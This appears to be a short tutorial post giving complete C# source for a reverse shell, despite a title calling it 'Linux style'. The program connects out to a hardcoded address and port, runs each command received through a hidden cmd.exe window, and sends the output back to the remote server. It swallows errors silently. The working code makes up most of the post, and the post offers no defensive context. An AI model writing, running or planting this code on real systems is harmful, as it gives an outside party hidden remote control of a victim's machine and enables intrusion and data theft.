Linux Style Reverse Shell
This program is a simple TCP program in that the Client establishes a connection over TCP with the server. I use try block to establish a TCP connection with the server by using the TcpClient class. a StreamReader and StreamWriter create to read from and write to the network stream of the TCP connection.
writer.WriteLine() method is used to send The output of the executed command back to the server.
The ExecuteCommand() method takes a command string as input and creates a new process using System.Diagnostics.Process, and the command should be executed in the command prompt (cmd.exe) using the /C argument. It redirects the process’s standard output and reads the output using process.StandardOutput.ReadToEnd(). it waits for the process to exit using process.WaitForExit().
using System;
using System.IO;
using System.Net.Sockets;
public class TCP_Shell
{
static void Main(string[] args)
{
string Host = "192.168.100.232";
int Port = 7777;
try
{
using (TcpClient client = new TcpClient(Host, Port))
using (NetworkStream stream = client.GetStream())
using (StreamReader reader = new StreamReader(stream))
using (StreamWriter writer = new StreamWriter(stream))
{
// Send an initial message to the server
string message = "Client connected";
writer.WriteLine(message);
writer.Flush();
while (true)
{
// Read commands from the server
string command = reader.ReadLine();
if (string.IsNullOrEmpty(command))
break;
// Execute the command and retrieve the output
string output = ExecuteCommand(command);
// Send the output back to the server
writer.WriteLine(output);
writer.Flush();
}
}
}
catch (Exception)
{
}
}
static string ExecuteCommand(string command)
{
string output = string.Empty;
try
{
// Start a new process to execute the command
using (System.Diagnostics.Process process = new System.Diagnostics.Process())
{
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/C " + command;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.CreateNoWindow = true;
process.Start();
output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
}
}
catch (Exception)
{
}
return output;
}
}
